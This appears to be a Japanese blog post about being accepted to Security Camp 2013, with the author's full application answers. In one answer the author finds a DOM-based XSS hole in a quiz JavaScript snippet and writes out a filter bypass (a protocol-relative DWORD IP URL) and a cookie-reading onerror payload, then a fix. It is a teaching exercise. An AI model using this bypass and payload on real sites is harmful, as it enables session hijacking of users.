セキュリティキャンプ2013(web)に参加します応募用紙のあれ

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

セキュリティキャンプ2013 Webセキュリティクラスに参加することになりました。
講師、チューター、参加者の皆様よろしくお願いします!
 
残念ながら落ちてしまった方々、これを機に勉強したり何か作ったりしてみてはどうでしょう。
ぼくは昨年、「気付いたら応募締め切りが終わっていた組(?)」の参加者で、来年絶対いくわ!といった感じで勉強したりコード書いたり遊んだりしてました。あとは「そこで学んで、その知識をどうするの?」というところだと思います

もしこれを見ている人がチャレンジしたいのであれば、こういった講師のメッセージも参考になるかとおもいます。

・ネットワークセキュリティクラスの審査後講評

・Webセキュリティクラス、ソフトウェアセキュリティクラスの審査後講評

・セキュアなシステムを作ろうクラスの審査後講評

・審査後、全体としての講評

これらをざっくりとまとめると。
・ アツい
・ そのクラスを選んだ理由、そこで学んだことをどうしたいか
・ 最低限、講義や演習についていける技術力がある
・ 問題についてあれこれ調べて、自分なりの答えを出している
・ 実際に試してみる

といった辺りが、大きな基準になっているのだと思います。

あと、セキュリティキャンプに参加することが目標となってしまうのはまちがいだと思います。
そこで身を持って体験できる貴重なもの、セキュリティだけでなく他の参加者からの情報や意識、そういったものをどうアウトプットしていくか、何を成すのか、そこが目標であり、そのためにセキュリティキャンプに参加するんだ、という思いが必要だと思います。

これに対して、意識たけぇw、と煽って終了なのであれば、まあ、そういうことなんでしょう。

 
来年もきっと開催されると思うので、そこに向けて、その先へ向けて、なにか出来ることをやっておくといいと思います。
 
そして、ぼくの応募用紙をここに貼っつけてみます(いいのかな...だめならごめんなさい...
みなさんの参考になれば、もしくはツッコミなどが飛んでくれるといいですね。
 

《~》と囲ったものは実際の応募用紙には記述していない部分です。
諸事情でさっくりとしか公開できないようなものとかですね。
 


 
「セキュリティ・キャンプ中央大会2013」
Web・セキュリティ・クラス 応募用紙
 
☆ 記述式質問
1. このクラスを希望した自分なりの理由を教えてください。
また、この講義で学んだことを何に役立てたいかを教えてください。(選考上もっとも重視します)

 
《めっちゃ要約で、》
《「この貴重な機会に本場の人からたくさん学んで研究や後輩への指導へ生かします」》
《という400文字くらいの内容》

《出身高校に情報の学科があるので、そこで講義とか何かちょっと、やってみたいかなーなどと》
 
 
2. Webに関連したプログラミング歴を教えて下さい。また、今までに作ったWebに
関連したプログラムがあればどのようなものを作ったのかを、あるいは将来どんな
システムを作ろうと思っているのか、差し障りのない範囲で具体的に教えてください。

・Webに関連したプログラミング歴
クライアントサイド(HTML/CSS/JS, etc) : 4~5年
サーバサイド(PHP/Ruby/Node.js, MySQL): 3年

《美大生的なうぇぶさいとつくった》

・UnityとWebSocket(socket.io)の実験
Unityのネットワーク機能ではなく、ブラウザを経由してsocket.ioを使い同期を取ってみるもの。
《闇鍋#2 旧ブログ参照-> http://stersblog.blog15.fc2.com/blog-entry-427.html》

《インターンとかバイトでつくった》

・作りたいもの
《すごそうなあれ》
《卒研で試行錯誤中のあれ》
《いま一番つくってみたいあれ》
 
 
3. クロスサイトスクリプティングあるいはSame Origin Policyについて自分の
言葉で語ってみてください(これらがどのような脆弱性・技術かの解説は不要です)。

説明は不要とのことなので思うことについて。

まずクロスサイトスクリプティングについて思うところは、確認したことのある紹介・解説しているWebサイトの説明文では、それがどれほど危ないのか、という実感がわかないところにあります。よくあるものは「このようなプログラムを書くと、ほら、alertが実行できますね」程度のもので、それによる状況の深刻さというものがまったくわかりません。その結果として、放置してしまったり、なあなあのままWebサイトを運用していたり、といったことがあるのかもしれません。

Same Origin Policyについては、開発している際には厄介になることも稀にあったりしますが、これがあるおかげでWebにおけるそこそこの安全性を担保してるものだと思います。

どちらにも言えることとして、日本語に訳された時に訳しすぎ、もしくは曲解された翻訳になり、いったいどういうことなんだろうか、となった経験があります。その時は頑張って大本の文章を読んだり、いろいろなページを見て結論を出しました。

《それが何なのか、というものは省き、素直に思っていること》
《SameOriginPolicyが短いのはそんなに思っていることがなかったとおもう》
 
 
4.あなたが読み書きできるプログラミング言語の使用歴、おおまかな習熟度と
好きなところ嫌いなところをお書き下さい。(いくつでも可)
例:C言語(中学○年生のころから。調べながら書けるレベル。○○が好き、○○が嫌い)

共通: ドキュメント/リファレンスがほぼ必須レベル。

《構文とか書き方、一部のメソッドやクラスなど覚えてることもありますが、》
《実際に書く時は大体調べながら書いているので "ドキュメント/リファレンスがほぼ必須レベル"》

《いろいろやってきましたが、》
《いまはRubyとJavaScript(TypeScript)が超超超イイ感じ》
 
 
5. もしもタイムマシンに乗って昔のブラウザの仕様を変えられるとしたら、あなたは何を変えたいですか?
例:HTTPは、そのWebアプリケーションを使用している間ブラウザを閉じるまでコネクションが切れないようにしたい。

"ブラウザ仕様"に限って挙げます。

まず真っ先思いつくものはこれです。
https://twitter.com/NStyles/status/94259222748999680

他に変えたいものとしては、細かい部分ですが、ブラウザ毎に異なるデフォルトのスタイル定義や、JavaScript実装などの統一化が欲しいところです。単にリセットCSSやクロスブラウザに対応できるライブラリを使えばいい話ですが、それが仕様として定められ、標準化されていればまた変わった世界になったかと思います。
他にはプラグインをもう少し作りやすい環境が欲しいです。

《ブラウザ仕様かー、うーん・・・で特に思いつかなかった》
 
 
6. 以下のJavaScriptのコード断片は、とあるWebサイトで利用されていた
ものです。これを見て気付いた点について、自由に書いてください。

 1    try{
 2        var url = location.search.substring(1);
 3        // Check target
 4        if( !url.match( /^[\w\/]+$/ ) ){
 5            return;
 6        }
 7        var xhr = new XMLHttpRequest();
 8        xhr.open( "GET", url, true );
 9        xhr.onreadystatechange = function(){
10            if( xhr.readyState == 4 && xhr.status == 200 ){
11                // complete to load. insert news feed to div elm.
12                var div = document.getElementById( "news" );
13                div.innerHTML = xhr.responseText;
14            }
15        }
16        xhr.send( null );
17    }
18    catch( e ){
19        var div = document.getElementById( "news" );
20        div.innerHTML = "<s>cannot load news from server.</s>";
21    }

なんだか見覚え感のあるコード...
2行目、location.searchはURL末尾の?を含めた文字列を返すので、?を取り除く。
4行目、[A-Za-z0-9_\/] で構成されているか確認。
8行目、以上の処理によって得られた文字列に対してGETリクエストを投げる。
9-16行目、Ajaxのテンプレ。
12-13行目、取得したデータをそのまま div#news 内にHTMLとして入れる

つまるところ、DOM Based XSSの脆弱性が存在しています。プロトコルが省略できること、IPアドレスをDWORDで指定してもアクセスできること。これを利用して攻撃ができます。攻撃用データはHTMLとして用意、header("Access-Control-Allow-Origin:*")を付与した適当な公開場に設置することで使うことができます。

accessURL    : http://example.com/news.html?//2130706433/evilcode
//2130706433/: http://127.0.0.1/
evilcode     : <img src=x onerror="alert(document.cookie)">

対策として、4行目の正規表現を /^\w[\w\/]+$/ とすると良いと思います。
先頭にスラッシュを含めないようにすれば、上記の攻撃はできなくなります。

他の脆弱性が存在している可能性も考えると、div.innerHTML = ~~ ではなく、別のものを使用したほうがいいとも思います。

《ドットなしIPアドレスについて https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Dword_encoding 》
《HTTP Header に "Access-Control-Allow-Origin:*" を付けないとクロスドメインでアクセスができない》
《ローカルとVPSを使って実際にalertがでることを確認しました》

《"別のもの": div.appendChild( document.createTextNode(xhr.responseText) ); 》

《もちろんのことながら、それでも対策ができていない別の脆弱性もあると思います》
 
 
7. そのほかアピールしたいこと、書き足りないことがあれば自由に書いてください。

mixi主催 Scrap Challenge for security 2012 #2 でトップのチームでした。
《xssのセキュリティホールがあるmixiに対して攻撃を仕掛けるCTFチックなイベント》
《就職の選考もうっすらと兼ねているようでした?》

/* 
 * 6JC944Gh44Gf5pa544CF77yL5pyJ5b+X44Gn
 * 44K744Kt44Ol44Kt44Oj44Oz44G/44Gf44GE44Gq5L2V44GL44KS44Gn44GN44Gf44KJ44GE44GE44Gn44GZ44Gt44CC
 *
 * 56eB56uL44OX44Ot44Kw44Op44Of44Oz44Kw44Kt44Oj44Oz44OX44Gv
 * 44OX44Ot44Kw44Op44Of44Oz44Kw6KaB57Sg5YWo6ZaL44Gq5rCX44GM44GZ44KL44Gu44Gn44CB44K744Kt44Ol44Oq44OG44Kj6KaB57Sg44KS44O744O744O7
 *
 */

《上記のコメントは実際に送ったものにも含まれます。深い意味はありません。》
《上記コメントを改めて解読()すると、若干文章が異なるような気がしましたが、まあ、意図はあってるのでいいです》
《マジレスすると暗号化したり難読化したりすると読む人が大変なので真似しないでください、辞めましょう。それで選考結果が変わることはないと思います。》

《行くぜセキュリティキャンプ!》

この記事はどうでしたか

前後の記事

Next:
Prev: